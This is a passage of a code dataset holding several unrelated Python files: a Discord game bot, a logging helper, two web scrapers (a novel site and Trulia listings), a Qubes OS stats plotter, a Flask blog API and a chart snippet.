\"\\n\"\n + \"Coin Toss Decision: \" + gameInfo[\"coin toss decision\"] + \"\\n\"\n + \"Number Submitted: \" + gameInfo[\"number submitted\"] + \"\\n\"\n + \"Halftime: \" + gameInfo[\"halftime\"] + \"\\n\")\n await message.channel.send(post)\n except:\n await message.channel.send(\"There was an issue getting the game information, please ensure you used the right command by using '&help' and then contact Dick\")\n print(\"There was an issue getting information for \" + message.content.split('&database')[1].strip() + \" due to \" + str(Exception))\n raise Exception\n\n\n\n\ndef getCategory(client, categoryName):\n \"\"\"\n Get the category Discord object and return it based on the name you're looking for\n \n \"\"\"\n\n guild = client.get_guild(guildID)\n for serverCategory in guild.categories:\n if serverCategory.name == categoryName:\n category = serverCategory\n return category\n return \"COULD NOT FIND\"\n\n\ndef loginDiscord():\n \"\"\"\n Login to Discord and run the bot\n \n \"\"\"\n\n intents = discord.Intents.all()\n client = discord.Client(intents=intents)\n\n @client.event\n async def on_message(message):\n \n # Message is from the server\n if message.guild is not None:\n if message.channel.category.name != \"Scrimmages\" or message.channel.name == \"bot-game-chat\":\n if message.content == '&help':\n await message.channel.send(commandMessage)\n \n elif message.content.startswith('&start'):\n category = getCategory(client, \"Scrimmages\")\n if category == \"COULD NOT FIND\":\n await message.channel.send(helpMessage)\n else:\n await handleStartCommand(client, message, category)\n \n elif message.content.startswith('&end'):\n await message.channel.send(\"You cannot end a game here, you must be in the specific game channel\")\n \n elif message.content.startswith('&delete'):\n await message.channel.send(\"You cannot delete a game here, you must be in the specific game channel\")\n \n elif message.content.startswith('&create'):\n await handleCreateCommand(message)\n \n elif message.content.startswith('&remove'):\n await handleRemoveCommand(message)\n \n elif message.content.startswith('&view'):\n await handleViewCommand(message)\n\n elif message.content.startswith('&database'):\n await handleDatabaseCommand(client, message)\n \n elif message.content.startswith('&'):\n await message.channel.send(helpMessage)\n \n else:\n gameInfo = getGameInfo(message.channel)\n \n if message.content == '&help':\n await message.channel.send(commandMessage)\n \n elif message.content.startswith('&end'):\n category = getCategory(client, \"Scrimmages\")\n if category == \"COULD NOT FIND\":\n await message.channel.send(helpMessage)\n else:\n await handleEndCommand(message)\n\n elif message.content.startswith('&database'):\n await handleDatabaseCommand(client, message)\n \n elif message.content.startswith('&delete'):\n category = getCategory(client, \"Scrimmages\")\n if category == \"COULD NOT FIND\":\n await message.channel.send(helpMessage)\n else:\n await handleDeleteCommand(client, message)\n \n # Game is invalid\n elif gameInfo[\"home user\"] is None or gameInfo[\"away user\"] is None or gameInfo[\"home user\"] == \"\" or gameInfo[\"away user\"] == \"\":\n if str(message.author) != \"FCFB Ref Bot#3976\" and message.channel.name != \"bot-game-chat\":\n await message.channel.send(\"No game appears to be found, but a channel for the game exists, please contact Dick.\")\n elif gameInfo[\"number submitted\"] == \"YES\":\n await game(client, message)\n gameInfo = getGameInfo(message.channel)\n if gameInfo[\"gist link\"] is not None and gameInfo[\"gist link\"] != \"\":\n gistLink = getLogFileURL(gameInfo[\"gist link\"])\n await editEmbed(client, gameInfo, gistLink)\n \n \n \n \n \n # Message is from the DM for a game\n else:\n await gameDM(client, message)\n \n @client.event\n async def on_ready():\n print('------')\n print('Logged in as')\n print(client.user.name)\n print(client.user.id)\n print(\"v1.1.0\")\n print('------')\n\n client.run(token)", "sub_path": "discord_functions.py", "file_name": "discord_functions.py", "file_ext": "py", "file_size_in_byte": 32198, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "json.load", "line_number": 38, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 39, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 40, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 41, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 68, "usage_type": "call"}, {"api_name": "game_database_functions.updateEmbeddedMessage", "line_number": 85, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 88, "usage_type": "call"}, {"api_name": "util.convertDown", "line_number": 103, "usage_type": "call"}, {"api_name": "user_database_functions.getUser", "line_number": 213, "usage_type": "call"}, {"api_name": "user_database_functions.getUser", "line_number": 214, "usage_type": "call"}, {"api_name": "util.getDiscordUser", "line_number": 216, "usage_type": "call"}, {"api_name": "util.getDiscordUser", "line_number": 217, "usage_type": "call"}, {"api_name": "game_database_functions.checkUserFree", "line_number": 221, "usage_type": "call"}, {"api_name": "game_database_functions.checkUserFree", "line_number": 222, "usage_type": "call"}, {"api_name": "user_database_functions.getNickname", "line_number": 233, "usage_type": "call"}, {"api_name": "user_database_functions.getNickname", "line_number": 234, "usage_type": "call"}, {"api_name": "user_database_functions.getOffensivePlaybook", "line_number": 236, "usage_type": "call"}, {"api_name": "user_database_functions.getDefensivePlaybook", "line_number": 237, "usage_type": "call"}, {"api_name": "user_database_functions.getOffensivePlaybook", "line_number": 239, "usage_type": "call"}, {"api_name": "user_database_functions.getDefensivePlaybook", "line_number": 240, "usage_type": "call"}, {"api_name": "game_database_functions.addGameToDatabase", "line_number": 254, "usage_type": "call"}, {"api_name": "util.getDiscordUser", "line_number": 256, "usage_type": "call"}, {"api_name": "util.getDiscordUser", "line_number": 257, "usage_type": "call"}, {"api_name": "github_functions.createLogFile", "line_number": 264, "usage_type": "call"}, {"api_name": "game_database_functions.getGameInfo", "line_number": 266, "usage_type": "call"}, {"api_name": "github_functions.getLogFileURL", "line_number": 267, "usage_type": "call"}, {"api_name": "game_database_functions.copyGameData", "line_number": 308, "usage_type": "call"}, {"api_name": "game_database_functions.pasteGameData", "line_number": 315, "usage_type": "call"}, {"api_name": "game_database_functions.deleteGameData", "line_number": 316, "usage_type": "call"}, {"api_name": "game_database_functions.getGameInfo", "line_number": 355, "usage_type": "call"}, {"api_name": "game_database_functions.deleteGameData", "line_number": 367, "usage_type": "call"}, {"api_name": "github_functions.deleteLogFile", "line_number": 368, "usage_type": "call"}, {"api_name": "user_database_functions.checkName", "line_number": 401, "usage_type": "call"}, {"api_name": "user_database_functions.checkUser", "line_number": 418, "usage_type": "call"}, {"api_name": "user_database_functions.addUser", "line_number": 455, "usage_type": "call"}, {"api_name": "user_database_functions.checkName", "line_number": 479, "usage_type": "call"}, {"api_name": "user_database_functions.deleteTeam", "line_number": 482, "usage_type": "call"}, {"api_name": "user_database_functions.checkName", "line_number": 509, "usage_type": "call"}, {"api_name": "user_database_functions.getTeamInformation", "line_number": 512, "usage_type": "call"}, {"api_name": "game_database_functions.getGameInfoTeam", "line_number": 542, "usage_type": "call"}, {"api_name": "game_database_functions.getGameInfo", "line_number": 544, "usage_type": "call"}, {"api_name": "discord.Intents.all", "line_number": 601, "usage_type": "call"}, {"api_name": "discord.Intents", "line_number": 601, "usage_type": "attribute"}, {"api_name": "discord.Client", "line_number": 602, "usage_type": "call"}, {"api_name": "game_database_functions.getGameInfo", "line_number": 642, "usage_type": "call"}, {"api_name": "game_functions.game", "line_number": 669, "usage_type": "call"}, {"api_name": "game_database_functions.getGameInfo", "line_number": 670, "usage_type": "call"}, {"api_name": "github_functions.getLogFileURL", "line_number": 672, "usage_type": "call"}, {"api_name": "game_functions.gameDM", "line_number": 681, "usage_type": "call"}]} {"seq_id": "4145780", "text": "# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /usr/local/lib/python2.7/site-packages/updater4pyi/upd_log.py\n# Compiled at: 2014-12-07 12:31:14\n\"\"\"\nSet up a minimal logger. To integrate logging in your application, configure your Python\n`logging`_ as you wish. Updater4Pyi gets its logger by calling\n``logging.getLogger('updater4pyi')``, i.e. the Updater4Pyi's logger is called\n'updater4pyi'.\n\n.. _logging: https://docs.python.org/2/library/logging.html\n\n\"\"\"\nimport logging\nlogger = logging.getLogger('updater4pyi')\nformatter = logging.Formatter('%(name)s - %(asctime)-15s\\n\\t%(levelname)s: %(message)s')\n\ndef setup_logger(level=logging.INFO):\n \"\"\"\n A utility function that you can call to set up a simple logging to the console. No\n hassles.\n \"\"\"\n ch = logging.StreamHandler()\n ch.setLevel(logging.NOTSET)\n ch.setFormatter(formatter)\n logger.addHandler(ch)\n logger.setLevel(level)\n logger.debug('logger set up. level=%d', level)", "sub_path": "pycfiles/updater4pyi-0.7.macosx-10.6-x86_64.tar/upd_log.py", "file_name": "upd_log.py", "file_ext": "py", "file_size_in_byte": 1071, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.getLogger", "line_number": 17, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 20, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 25, "usage_type": "call"}, {"api_name": "logging.NOTSET", "line_number": 26, "usage_type": "attribute"}]} {"seq_id": "571909082", "text": "# coding=utf-8\nimport requests\nfrom bs4 import BeautifulSoup\n\n# /wapbook-4635-2217322/\n# /wapbook-4635-2217341/\n# /wapbook-4635-2217434/\n\n\ncollector = []\n\nfor i in range(2217322, 2217434 + 1):\n url = f\"http://m.xcgew.com/wapbook-4635-{i}/\"\n x = requests.get(url)\n try:\n text = x.content.decode(\"gbk\", \"ignore\")\n except:\n print(\"error\", url)\n continue\n # print(text)\n title = text.split('
')[1].split(\"
\")[0].strip()\n print(title)\n collector.append(f\"\\n\\n## {title} ##\\n\")\n for j in range(1, 30):\n url = f\"http://m.xcgew.com/wapbook-4635-{i}_{j}/\"\n print(\"query\", url)\n try:\n x = requests.get(url, timeout=10)\n text = x.content.decode(\"gbk\", \"ignore\")\n pretty = text.split('
')[-1].split(\"
-->>\")[0].replace(\" \", \"\").replace(\" \", \"\").replace(\n \"
\", \"\").replace(\"\\r\", \"\").replace(\"\\n\", \"\").replace(\" \", \"\")\n if len(pretty) < 10:\n print(\"break\", url)\n break\n collector.append(pretty)\n except:\n print(\"error\", url)\n break\n\nwith open(\"jpsw.txt\", \"wt\", encoding=\"utf-8\") as f:\n f.write(\"\".join(collector))\n", "sub_path": "htxt/jpsw.py", "file_name": "jpsw.py", "file_ext": "py", "file_size_in_byte": 1272, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "requests.get", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 28, "usage_type": "call"}]} {"seq_id": "176331077", "text": "import os\nimport requests\nfrom bs4 import BeautifulSoup as BS\nimport time\nimport sys\nimport numpy as np\nimport pandas as pd\nimport requests\nimport csv\nimport random\nimport json\n\ndef get_one(url, i):\n \n # use an agent to prevent getting blocked by the website\n agent = {\"User-Agent\":'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36'}\n page = requests.get(url, headers=agent)\n root = BS(page.content, \"html.parser\")\n content = root.find_all(type = \"application/ld+json\")\n href = root.find_all(\"a\")\n links = []\n\n #extract address information from the link\n for link in href:\n u = link.get(\"href\")\n if (u != None) and (u.startswith(\"/p\")) and (u != \"/post-rental/\"):\n links.append(u)\n res = []\n for a in content:\n c = json.loads(a.text)\n temp = {}\n\n #filter out th information that we did not successfully filter out before\n #extract useful information\n if \"address\" not in c:\n continue\n if \"address\" in c.keys():\n if (\"streetAddress\" in c[\"address\"].keys()): \n temp[\"street_address\"] = c[\"address\"][\"streetAddress\"]\n if \"address\" in c.keys():\n if (\"postalCode\" in c[\"address\"].keys()): \n temp[\"postal_code\"]= c[\"address\"][\"postalCode\"]\n \n if \"address\" in c.keys():\n if (\"addressLocality\" in c[\"address\"].keys()): \n temp[\"address_locality\"] = c[\"address\"][\"addressLocality\"]\n\n if \"address\" in c.keys():\n if (\"addressRegion\" in c[\"address\"].keys()): \n temp[\"address_region\"] = c[\"address\"][\"addressRegion\"]\n\n if \"geo\" in c.keys():\n if (\"latitude\" in c[\"geo\"].keys()): \n temp[\"latitude\"] = c[\"geo\"][\"latitude\"]\n if \"geo\" in c.keys():\n if (\"longitude\" in c[\"geo\"].keys()): \n temp[\"longitude\"] = c[\"geo\"][\"longitude\"]\n\n # to prevent duplicate results because the results of the website might change\n if temp not in res:\n res.append(temp)\n \n for j in range(len(res)):\n r = res[j]\n\n # sometimes the link starts with property and the format is different, this indicates\n # if the link includes \"property\" and we will manually format the information \n\n if links[j].startswith(\"property\"):\n r[\"property\"] = 1\n else:\n r[\"property\"] = 0\n r[\"link\"] = \"https://www.trulia.com\"+ links[j]\n\n # to compare if the two addresses match\n ccc = \" \".join(links[j].split('/')[-1].split('-')[:-1])\n r[\"link_generated\"] = ccc.strip()\n r[\"page\"] = i\n r[\"num\"] = j\n st = r[\"street_address\"] + \" \" + r[\"address_locality\"] + \" \" + r[\"address_region\"] + \" \" + r[\"postal_code\"]\n st = st.replace(\"#\",'')\n r[\"scrape_generated\"] = st.lower()\n if(r[\"scrape_generated\"] == r[\"link_generated\"]):\n r[\"is_same\"] = 1\n else:\n r[\"is_same\"] = 0\n \n headers = ['street_address',\n 'postal_code',\n 'latitude',\n 'longitude',\n 'link',\n 'page',\n 'num',\n \"address_locality\",\n \"address_region\",\n \"scrape_generated\",\n \"link_generated\",\n \"is_same\",\n \"property\"]\n\n csv_file = \"scrape_trulia_list.csv\"\n with open(csv_file, 'a') as f:\n writer = csv.DictWriter(f, delimiter=',', lineterminator='\\n', fieldnames=headers)\n writer.writeheader()\n writer.writerows(res)\n\ndef get_all():\n for i in range(1, 219):\n url = \"https://www.trulia.com/sold/Pittsburgh,PA/APARTMENT,CONDO,COOP,MULTI-FAMILY,SINGLE-FAMILY_HOME,TOWNHOUSE_type/%d_p/\" %i\n get_one(url, i)\n # stop scraping for random seconds to prevent getting blocked by the website\n t = random.randint(3, 7)\n time.sleep(t)\n\ndef main():\n if __name__ == '__main__':\n get_all()\n\nmain() ", "sub_path": "code/data_collection_trulia_list.py", "file_name": "data_collection_trulia_list.py", "file_ext": "py", "file_size_in_byte": 4095, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "requests.get", "line_number": 17, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 18, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 30, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 104, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 113, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 114, "usage_type": "call"}]} {"seq_id": "498917352", "text": "#!/usr/bin/env python2\n\n#\n# Statistics plotter for Qubes OS infrastructure.\n# Copyright (C) 2015-2016 Wojtek Porczyk \n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n\nfrom __future__ import absolute_import, print_function\n\nimport argparse\nimport datetime\nimport distutils.version\nimport json\nimport logging\nimport logging.handlers\nimport os\n\nimport dateutil.parser\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.patches\nimport matplotlib.pyplot as plt\nimport matplotlib.dates\nimport matplotlib.ticker\n\nimport qubesstats\n\n\nMM = 1 / 25.4\nDPI = 300.0\n\nparser = argparse.ArgumentParser()\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--datafile', metavar='FILE',\n default=os.path.expanduser('~/.stats.json'),\n help='location of the data file (default: %(default)s)')\n\nparser.add_argument('--output', metavar='PATH',\n default=os.path.expanduser('~/public_html/counter/stats'),\n help='location of the output files (default: %(default)s)')\n\nx_major_locator = matplotlib.dates.MonthLocator()\nx_major_formatter = matplotlib.dates.DateFormatter('%Y-%m')\ny_major_formatter = matplotlib.ticker.ScalarFormatter()\n\n#TANGO = {\n# 'Aluminium1': '#2e3436',\n# 'ScarletRed1': '#a40000',\n# 'ScarletRed2': '#cc0000',\n# 'Plum1': '#5c3566',\n# 'SkyBlue1': '#204a87',\n# 'Chameleon1': '#4e9a06',\n#}\n#\n#COLOURS = {\n# 'r1': TANGO['Aluminium1'],\n# 'r2': TANGO['Plum1'],\n# 'r2-beta2': TANGO['Aluminium1'],\n# 'r2-beta3': TANGO['Aluminium1'],\n# 'r3.0': TANGO['Chameleon1'],\n# 'r3.1': TANGO['SkyBlue1'],\n#}\n\nCOLOURS = {\n 'r1': '#666666',\n 'r2': '#9f389f',\n 'r2-beta2': '#666666',\n 'r2-beta3': '#666666',\n 'r3.0': '#5ad840',\n 'r3.1': '#63a0ff',\n}\n\n\ndef main():\n qubesstats.setup_logging()\n args = parser.parse_args()\n stats = json.load(open(args.datafile))\n\n meta = stats['meta']\n del stats['meta']\n\n logging.log(25, 'loaded datafile %r, last updated %r',\n args.datafile, meta['last-updated'])\n\n all_versions = set()\n for month in stats.values():\n all_versions.update(month)\n all_versions.discard('any')\n all_versions = list(sorted(all_versions,\n key=distutils.version.LooseVersion))\n\n fig = matplotlib.pyplot.figure(figsize=(240 * MM, 160 * MM), dpi=DPI)\n ax = fig.add_axes((.12, .12, .85, .80))\n ax.xaxis.set_major_locator(x_major_locator)\n ax.xaxis.set_major_formatter(x_major_formatter)\n ax.yaxis.set_major_formatter(y_major_formatter)\n ax.tick_params(labelsize='small')\n\n months = list(sorted(stats))\n ax.set_xlim(\n dateutil.parser.parse(months[ 0]).replace(day=1)\n - datetime.timedelta(days=20),\n dateutil.parser.parse(months[-1]).replace(day=1)\n + datetime.timedelta(days=20))\n\n ax.set_ylabel('Unique IP addresses')\n\n for spine in ('top', 'bottom', 'left', 'right'):\n ax.spines[spine].set_linewidth(0.5)\n\n# ax.set_xlim\n ax.yaxis.grid(True, which='major', linestyle=':', alpha=0.7)\n\n bar_width = 25.0 / len(all_versions)\n\n handles = []\n\n for i in range(len(all_versions)):\n version = all_versions[i]\n offset = datetime.timedelta(\n days=25.0 * (float(i) / len(all_versions) - 0.5))\n data_plain = []\n data_tor = []\n for month, mdata in sorted(stats.items()):\n if version in mdata:\n data_plain.append((\n dateutil.parser.parse(month).replace(day=1) + offset,\n mdata[version]['plain']))\n data_tor.append((\n dateutil.parser.parse(month).replace(day=1) + offset,\n mdata[version]['tor']))\n\n ax.bar(*zip(*data_tor), hatch='////',\n color=COLOURS.get(version, '#ff0000'), #TANGO['ScarletRed1']),\n width=bar_width,\n linewidth=0.5)\n\n handles.append(\n ax.bar(*zip(*data_plain), bottom=zip(*data_tor)[1], label=version,\n color=COLOURS.get(version, '#ff0000'), #TANGO['ScarletRed1']),\n width=bar_width,\n linewidth=0.5))\n\n data = []\n for month, mdata in sorted(stats.items()):\n data.append((\n dateutil.parser.parse(month).replace(day=1),\n sum(mdata['any'].values())))\n line, = ax.plot(*zip(*data[:-1]), label='any', color='#e79e27', linewidth=3)\n handles.append(line)\n# ax.plot(*zip(*data[-2:]), label='any', color='#e79e27', linewidth=3,\n# linestyle='--')\n\n fig.text(0.02, 0.02,\n 'last updated: {meta[last-updated]}\\n{meta[source]}'.format(meta=meta),\n size='x-small', alpha=0.5)\n fig.text(0.98, 0.02,\n 'Stats are based on counting the number of unique IPs\\n'\n 'connecting to the Qubes updates server each month.',\n size='x-small', alpha=0.5, ha='right')\n\n handles.append(matplotlib.patches.Patch(\n facecolor='white', hatch='///', label='TOR', linewidth=0.5))\n plt.legend(\n loc=2, ncol=2, prop={'size': 8}, handles=handles).get_frame().set_linewidth(0.5)\n\n plt.title(meta['title'])\n fig.savefig(args.output + '.png', format='png')\n fig.savefig(args.output + '.svg', format='svg')\n plt.close()\n\n\nif __name__ == '__main__':\n main()\n\n# vim: ts=4 sts=4 sw=4 et\n", "sub_path": "qubesstats/plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 5834, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "matplotlib.use", "line_number": 34, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 46, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "matplotlib.dates.MonthLocator", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 57, "usage_type": "attribute"}, {"api_name": "matplotlib.dates.DateFormatter", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 58, "usage_type": "attribute"}, {"api_name": "matplotlib.ticker.ScalarFormatter", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.ticker", "line_number": 59, "usage_type": "attribute"}, {"api_name": "qubesstats.setup_logging", "line_number": 90, "usage_type": "call"}, {"api_name": "json.load", "line_number": 92, "usage_type": "call"}, {"api_name": "logging.log", "line_number": 97, "usage_type": "call"}, {"api_name": "distutils.version.version", "line_number": 105, "usage_type": "attribute"}, {"api_name": "distutils.version", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "attribute"}, {"api_name": "dateutil.parser.parser.parse", "line_number": 116, "usage_type": "call"}, {"api_name": "dateutil.parser.parser", "line_number": 116, "usage_type": "attribute"}, {"api_name": "dateutil.parser", "line_number": 116, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 117, "usage_type": "call"}, {"api_name": "dateutil.parser.parser.parse", "line_number": 118, "usage_type": "call"}, {"api_name": "dateutil.parser.parser", "line_number": 118, "usage_type": "attribute"}, {"api_name": "dateutil.parser", "line_number": 118, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 119, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 135, "usage_type": "call"}, {"api_name": "dateutil.parser.parser.parse", "line_number": 142, "usage_type": "call"}, {"api_name": "dateutil.parser.parser", "line_number": 142, "usage_type": "attribute"}, {"api_name": "dateutil.parser", "line_number": 142, "usage_type": "name"}, {"api_name": "dateutil.parser.parser.parse", "line_number": 145, "usage_type": "call"}, {"api_name": "dateutil.parser.parser", "line_number": 145, "usage_type": "attribute"}, {"api_name": "dateutil.parser", "line_number": 145, "usage_type": "name"}, {"api_name": "dateutil.parser.parser.parse", "line_number": 162, "usage_type": "call"}, {"api_name": "dateutil.parser.parser", "line_number": 162, "usage_type": "attribute"}, {"api_name": "dateutil.parser", "line_number": 162, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 177, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 185, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 185, "usage_type": "name"}]} {"seq_id": "527081706", "text": "from flask import Flask, request\nfrom flask.json import jsonify\nfrom flask_sqlalchemy import SQLAlchemy\n\nfrom datetime import datetime\nimport random\n\nimport linked_list\nimport hastable\nimport binarysearchtree\nimport queue\n\n\napp = Flask(__name__)\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///blog.db'\ndb = SQLAlchemy(app)\nnow = datetime.now()\n\nclass User(db.Model):\n __tablename__='user'\n id = db.Column(db.Integer(), primary_key=True)\n username = db.Column(db.String(length=30))\n email = db.Column(db.String(length=50))\n address = db.Column(db.String(length=250))\n phone = db.Column(db.String(length=10))\n posts = db.relationship('Blogs', cascade=\"all, delete\")\n\n\nclass Blogs(db.Model):\n __tablename__= 'blog_post'\n id = db.Column(db.Integer(), primary_key=True)\n title = db.Column(db.String(length=50))\n body = db.Column(db.String(length=250))\n date = db.Column(db.Date)\n user_id = db.Column(db.Integer(), db.ForeignKey('user.id'), nullable = False)\n\n\n\n\n\n@app.route('/user', methods = [\"POST\"])\ndef create_user():\n data = request.get_json()\n new_user = User(\n username = data[\"name\"],\n email = data[\"email\"],\n address = data[\"add\"],\n phone = data[\"phone\"],\n )\n db.session.add(new_user)\n db.session.commit()\n\n return jsonify({\"Message\":\"User is created\"}),200\n\n@app.route('/user/ascending', methods = [\"GET\"])\ndef arrange_ascending():\n users = User.query.all()\n user_ll = linked_list.linked_list()\n for u in users:\n user_ll.insert_end(\n {\n \"id\":u.id,\n \"name\":u.username,\n \"email\":u.email,\n \"address\":u.address,\n \"phone\":u.phone\n }\n )\n \n return jsonify(user_ll.to_list()),200\n \n\n@app.route('/user/descending', methods = [\"GET\"])\ndef arrange_descending():\n users = User.query.all()\n user_ll = linked_list.linked_list()\n for u in users:\n user_ll.insert_beginning(\n {\n \"id\":u.id,\n \"name\":u.username,\n \"email\":u.email,\n \"address\":u.address,\n \"phone\":u.phone\n }\n )\n \n return jsonify(user_ll.to_list()),200\n\n\n@app.route('/user/', methods = [\"GET\"])\ndef get_user(user_id):\n users = User.query.all()\n user_ll = linked_list.linked_list()\n for u in users:\n user_ll.insert_beginning(\n {\n \"id\":u.id,\n \"name\":u.username,\n \"email\":u.email,\n \"address\":u.address,\n \"phone\":u.phone\n }\n )\n \n data = user_ll.get_data_by_id(user_id)\n\n return jsonify(data),200\n \n \n\n@app.route('/user/', methods = [\"DELETE\"])\ndef delete_user(user_id):\n user = User.query.filter_by(id=user_id).first()\n if user:\n db.session.delete(user)\n db.session.commit()\n return jsonify({\"Message\":\"User deleted\"}), 200\n else:\n return ({\"Message\":\"User doesnt exist, cant delete\"})\n\n\n@app.route('/user/', methods = [\"POST\"])\ndef create_blog(user_id):\n \n data = request.get_json()\n user = User.query.filter_by(id=user_id).first()\n\n if not user:\n return jsonify({\"message\":\"User not found\"})\n\n h = hastable.HashTable(10)\n\n h.add_key(\"title\",data[\"title\"])\n h.add_key(\"body\",data[\"body\"])\n h.add_key(\"date\",now)\n h.add_key(\"user\",user_id)\n\n h.print_table()\n new_blog = Blogs(\n title = h.get_val(\"title\"),\n body = h.get_val(\"body\"),\n date = h.get_val(\"date\"),\n user_id = h.get_val(\"user\")\n )\n db.session.add(new_blog)\n db.session.commit()\n\n return ({\"Message\":\"Blog added\"})\n\n@app.route('/blog_post/', methods = [\"GET\"])\ndef get_one_blog(blog_id):\n blogs = Blogs.query.all()\n random.shuffle(blogs)\n\n bst = binarysearchtree.binarysearchtree()\n \n for b in blogs:\n bst.insert(\n {\n \"id\":b.id,\n \"title\":b.title,\n \"body\":b.body,\n \"user_id\":b.user_id\n\n }\n )\n \n blog_id = int(blog_id)\n post = bst.search_node(blog_id)\n\n #print(\"Post is \",post)\n if not post:\n return({\"Message\":\"Blog is not present\"})\n \n return jsonify(post)\n\n@app.route('/blog_post/numeric', methods = [\"GET\"])\ndef get_blog_numeric():\n \n posts = Blogs.query.all()\n q = queue.Queue()\n \n for p in posts:\n q.enqueue(p)\n\n return_list = {}\n for j in range(len(posts)):\n post = q.dequeue()\n\n p = {\n \"id\":post.id,\n \"title\":post.title,\n \"user\":post.user_id\n\n }\n\n return_list[j]=p\n\n return return_list \n\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n", "sub_path": "server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 4823, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "flask.Flask", "line_number": 14, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 44, "usage_type": "name"}, {"api_name": "flask.json.jsonify", "line_number": 54, "usage_type": "call"}, {"api_name": "linked_list.linked_list", "line_number": 59, "usage_type": "call"}, {"api_name": "flask.json.jsonify", "line_number": 71, "usage_type": "call"}, {"api_name": "linked_list.linked_list", "line_number": 77, "usage_type": "call"}, {"api_name": "flask.json.jsonify", "line_number": 89, "usage_type": "call"}, {"api_name": "linked_list.linked_list", "line_number": 95, "usage_type": "call"}, {"api_name": "flask.json.jsonify", "line_number": 109, "usage_type": "call"}, {"api_name": "flask.json.jsonify", "line_number": 119, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 127, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 127, "usage_type": "name"}, {"api_name": "flask.json.jsonify", "line_number": 131, "usage_type": "call"}, {"api_name": "hastable.HashTable", "line_number": 133, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 155, "usage_type": "call"}, {"api_name": "binarysearchtree.binarysearchtree", "line_number": 157, "usage_type": "call"}, {"api_name": "flask.json.jsonify", "line_number": 177, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 183, "usage_type": "call"}]} {"seq_id": "610533669", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\n\nworker1 = (0.979, 0.932)\nworker2 = (0.978, 0.933)\n\nind = np.arange(len(worker1)) # the x locations for the groups\nind = ind\nwidth = 0.2 # the width of the bars\n\nfig, ax = 